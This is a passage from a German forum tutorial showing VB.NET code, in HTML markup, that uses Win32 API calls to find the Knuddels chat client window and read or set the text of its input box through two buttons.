/>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">DllImport</span><span style="color: #007700">(</span><span style="color: #DD0000">"user32.dll"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">SetLastError</span><span style="color: #007700">:=</span><span style="color: #0000BB">True</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">CharSet</span><span style="color: #007700">:=</span><span style="color: #0000BB">CharSet</span><span style="color: #007700">.</span><span style="color: #0000BB">Auto</span><span style="color: #007700">)&gt;&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;</span><span style="color: #0000BB">Shared&nbsp;</span><span style="color: #007700">Function&nbsp;</span><span style="color: #0000BB">FindWindowEx</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;parentHandle&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByVal&nbsp;childAfter&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByVal&nbsp;lpClassName&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByVal&nbsp;lpWindowTitle&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">IntPtr<br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;</span><span style="color: #007700">Function<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;Public&nbsp;Declare&nbsp;Function&nbsp;</span><span style="color: #0000BB">PostMessage&nbsp;Lib&nbsp;</span><span style="color: #DD0000">"user32"&nbsp;</span><span style="color: #0000BB">Alias&nbsp;</span><span style="color: #DD0000">"PostMessageA"&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;hwnd&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;wMsg&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;wParam&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;lParam&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">Integer<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Fenster&nbsp;suchen'<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;Function&nbsp;</span><span style="color: #0000BB">enumWindowsProc</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;hWnd&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;lpParam&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">String<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;len&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'&nbsp;get&nbsp;Title<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;title&nbsp;As&nbsp;String&nbsp;=&nbsp;Space(255)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;len&nbsp;=&nbsp;GetWindowText(hWnd,&nbsp;title,&nbsp;255)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;title&nbsp;=&nbsp;title.Substring(0,&nbsp;len)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'&nbsp;</span><span style="color: #0000BB">get&nbsp;className<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;className&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Space</span><span style="color: #007700">(</span><span style="color: #0000BB">255</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">len&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">GetClassName</span><span style="color: #007700">(</span><span style="color: #0000BB">hWnd</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">className</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">255</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">className&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">className</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">len</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'&nbsp;format&nbsp;output<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;formattedOutput&nbsp;As&nbsp;String&nbsp;=&nbsp;String.Format("{0,-10}&nbsp;{1,-50}&nbsp;{2}&nbsp;",&nbsp;hWnd,&nbsp;className,&nbsp;title)<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;title.StartsWith("Channel")&nbsp;Then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Return&nbsp;className&nbsp;&amp;&nbsp;""&nbsp;&amp;&nbsp;title<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Return&nbsp;Nothing<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If<br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;Function<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">SendMessageByInt&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">um&nbsp;</span><span style="color: #007700">die&nbsp;</span><span style="color: #0000BB">Textlänge&nbsp;auszulesen</span><span style="color: #007700">)</span><span style="color: #DD0000">'<br />&nbsp;&nbsp;&nbsp;&nbsp;Public&nbsp;Declare&nbsp;Function&nbsp;SendMessageByInt&nbsp;Lib&nbsp;"user32.dll"&nbsp;Alias&nbsp;"SendMessageA"&nbsp;_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(ByVal&nbsp;hWnd&nbsp;As&nbsp;IntPtr,&nbsp;_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByVal&nbsp;uMsg&nbsp;As&nbsp;Integer,&nbsp;_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByVal&nbsp;wParam&nbsp;As&nbsp;Integer,&nbsp;_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByVal&nbsp;lParam&nbsp;As&nbsp;Integer)&nbsp;As&nbsp;Integer<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">SendMessageByString</span><span style="color: #DD0000">'<br />&nbsp;&nbsp;&nbsp;&nbsp;Public&nbsp;Declare&nbsp;Function&nbsp;SendMessageByString&nbsp;Lib&nbsp;"user32.dll"&nbsp;Alias&nbsp;"SendMessageA"&nbsp;_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(ByVal&nbsp;hWnd&nbsp;As&nbsp;IntPtr,&nbsp;_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByVal&nbsp;uMsg&nbsp;As&nbsp;Integer,&nbsp;_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByVal&nbsp;wParam&nbsp;As&nbsp;Integer,&nbsp;_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByVal&nbsp;lParam&nbsp;As&nbsp;StringBuilder)&nbsp;As&nbsp;Integer<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #0000BB">SendMessage</span><span style="color: #DD0000">'<br />&nbsp;&nbsp;&nbsp;&nbsp;Public&nbsp;Declare&nbsp;Function&nbsp;SendMessage&nbsp;Lib&nbsp;"user32.dll"&nbsp;Alias&nbsp;"SendMessageA"&nbsp;_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(ByVal&nbsp;handle&nbsp;As&nbsp;IntPtr,&nbsp;ByVal&nbsp;uMsg&nbsp;As&nbsp;Integer,&nbsp;_<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ByVal&nbsp;wParam&nbsp;As&nbsp;IntPtr,&nbsp;ByVal&nbsp;lParam&nbsp;As&nbsp;String)&nbsp;As&nbsp;IntPtr<br /><br />&nbsp;&nbsp;&nbsp;<br /><br />End&nbsp;Class&nbsp;<br /></span>
</span>
</code></code><hr />
</div>Klasse <b>Form1</b><br />
<br />
Was wir brauchen:<br />
Button = Button1<br />
Button = Button2<br />
Textbox = Textbox1<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'Konstante'<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Const&nbsp;</span><span style="color: #0000BB">WM_SETTEXT&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer&nbsp;</span><span style="color: #007700">=&nbsp;&amp;</span><span style="color: #0000BB">HC<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Const&nbsp;</span><span style="color: #0000BB">WM_GETTEXT&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer&nbsp;</span><span style="color: #007700">=&nbsp;&amp;</span><span style="color: #0000BB">HD<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Const&nbsp;</span><span style="color: #0000BB">WM_GETTEXTLENGTH&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer&nbsp;</span><span style="color: #007700">=&nbsp;&amp;</span><span style="color: #0000BB">HE<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;Const&nbsp;</span><span style="color: #0000BB">EM_GETSEL&nbsp;</span><span style="color: #007700">=&nbsp;&amp;</span><span style="color: #0000BB">HB0<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;Const&nbsp;</span><span style="color: #0000BB">WM_CHAR&nbsp;</span><span style="color: #007700">=&nbsp;&amp;</span><span style="color: #0000BB">H102<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;Const&nbsp;</span><span style="color: #0000BB">WM_KEYDOWN&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer&nbsp;</span><span style="color: #007700">=&nbsp;&amp;</span><span style="color: #0000BB">H100<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;Const&nbsp;</span><span style="color: #0000BB">WM_KEYUP&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer&nbsp;</span><span style="color: #007700">=&nbsp;&amp;</span><span style="color: #0000BB">H101<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;Hauptfenster&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Win32API</span><span style="color: #007700">.</span><span style="color: #0000BB">FindWindow</span><span style="color: #007700">(</span><span style="color: #DD0000">"SunAwtFrame"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">titel</span><span style="color: #007700">())<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dim&nbsp;Control1&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Win32API</span><span style="color: #007700">.</span><span style="color: #0000BB">FindWindowEx</span><span style="color: #007700">(</span><span style="color: #0000BB">Hauptfenster</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">.</span><span style="color: #0000BB">Zero</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"SunAwtCanvas"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Nothing</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dim&nbsp;Control2&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Win32API</span><span style="color: #007700">.</span><span style="color: #0000BB">FindWindowEx</span><span style="color: #007700">(</span><span style="color: #0000BB">Control1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">.</span><span style="color: #0000BB">Zero</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"SunAwtCanvas"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Nothing</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dim&nbsp;Control3&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Win32API</span><span style="color: #007700">.</span><span style="color: #0000BB">FindWindowEx</span><span style="color: #007700">(</span><span style="color: #0000BB">Control2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">.</span><span style="color: #0000BB">Zero</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"SunAwtCanvas"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Nothing</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dim&nbsp;Textbox1&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Win32API</span><span style="color: #007700">.</span><span style="color: #0000BB">FindWindowEx</span><span style="color: #007700">(</span><span style="color: #0000BB">Control3</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">.</span><span style="color: #0000BB">Zero</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"Edit"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Nothing</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;Private&nbsp;Const&nbsp;</span><span style="color: #0000BB">BM_CLICK&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Long&nbsp;</span><span style="color: #007700">=&nbsp;&amp;</span><span style="color: #0000BB">HF5</span><span style="color: #007700">&amp;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Auslesen-Funktion:'<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Public&nbsp;Function&nbsp;</span><span style="color: #0000BB">GetText</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;hwnd&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">String<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">If&nbsp;(</span><span style="color: #0000BB">Not&nbsp;hwnd</span><span style="color: #007700">.</span><span style="color: #0000BB">Equals</span><span style="color: #007700">(</span><span style="color: #0000BB">IntPtr</span><span style="color: #007700">.</span><span style="color: #0000BB">Zero</span><span style="color: #007700">))&nbsp;</span><span style="color: #0000BB">Then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;length&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Integer&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Win32API</span><span style="color: #007700">.</span><span style="color: #0000BB">SendMessageByInt</span><span style="color: #007700">(</span><span style="color: #0000BB">hwnd</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">WM_GETTEXTLENGTH</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">0&nbsp;Then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;SB&nbsp;</span><span style="color: #007700">As&nbsp;New&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">(</span><span style="color: #0000BB">length</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dim&nbsp;Result&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Int32&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Win32API</span><span style="color: #007700">.</span><span style="color: #0000BB">SendMessageByString</span><span style="color: #007700">(</span><span style="color: #0000BB">hwnd</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">WM_GETTEXT</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">SB</span><span style="color: #007700">)<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;</span><span style="color: #0000BB">Result&nbsp;</span><span style="color: #007700">&lt;&gt;&nbsp;</span><span style="color: #0000BB">0&nbsp;Then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Return&nbsp;</span><span style="color: #0000BB">SB</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Return&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;</span><span style="color: #007700">If<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Return&nbsp;</span><span style="color: #DD0000">"Kein&nbsp;Text"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;</span><span style="color: #007700">If<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Return&nbsp;</span><span style="color: #DD0000">"Handle&nbsp;nicht&nbsp;gefunden"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;</span><span style="color: #007700">If<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;</span><span style="color: #007700">Function<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;Private&nbsp;Function&nbsp;</span><span style="color: #0000BB">titel</span><span style="color: #007700">()&nbsp;As&nbsp;</span><span style="color: #0000BB">String<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;pl&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Process</span><span style="color: #007700">()&nbsp;=&nbsp;</span><span style="color: #0000BB">Process</span><span style="color: #007700">.</span><span style="color: #0000BB">GetProcesses<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">For&nbsp;</span><span style="color: #0000BB">Each&nbsp;p&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Process&nbsp;In&nbsp;pl<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">If&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">MainWindowTitle</span><span style="color: #007700">.</span><span style="color: #0000BB">StartsWith</span><span style="color: #007700">(</span><span style="color: #DD0000">"Channel"</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Return&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">MainWindowTitle<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">Else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Return&nbsp;</span><span style="color: #0000BB">Nothing<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;</span><span style="color: #007700">If<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Next<br />&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;</span><span style="color: #007700">Function<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;Private&nbsp;</span><span style="color: #0000BB">Sub&nbsp;Button1_Click</span><span style="color: #007700">(</span><span style="color: #0000BB">sender&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">Object</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">e&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">EventArgs</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Handles&nbsp;Button1</span><span style="color: #007700">.</span><span style="color: #0000BB">Click<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Text&nbsp;aus&nbsp;Knuddels&nbsp;Editbox&nbsp;auslesen&nbsp;und&nbsp;in&nbsp;unserer&nbsp;Textbox&nbsp;anzeigen...'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">TextBox1</span><span style="color: #007700">.</span><span style="color: #0000BB">Text&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">GetText</span><span style="color: #007700">(</span><span style="color: #0000BB">Textbox1</span><span style="color: #007700">)&nbsp;</span><span style="color: #DD0000">'Falls&nbsp;kein&nbsp;Knuddels&nbsp;Fenster&nbsp;vorhanden&nbsp;ist&nbsp;erscheint&nbsp;in&nbsp;der&nbsp;TextBox&nbsp;der&nbsp;Text&nbsp;"Handle&nbsp;nicht&nbsp;gefunden"'<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;Sub<br /><br /></span><span style="color: #007700">Private&nbsp;</span><span style="color: #0000BB">Sub&nbsp;Button2_Click</span><span style="color: #007700">(</span><span style="color: #0000BB">sender&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">Object</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">e&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">EventArgs</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Handles&nbsp;Button2</span><span style="color: #007700">.</span><span style="color: #0000BB">Click<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Text&nbsp;in&nbsp;Knuddels&nbsp;Editbox&nbsp;schreiben..'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Win32API</span><span style="color: #007700">.</span><span style="color: #0000BB">SendMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">Textbox1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">WM_SETTEXT</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">TextBox1</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #DD0000">'Fokus&nbsp;auf&nbsp;die&nbsp;Knuddels&nbsp;Editbox&nbsp;setzen'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Win32API</span><span style="color: #007700">.</span><span style="color: #0000BB">SendMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">Textbox1</span><span style="color: #007700">,&nbsp;&amp;</span><span style="color: #0000BB">H7</span><span style="color: 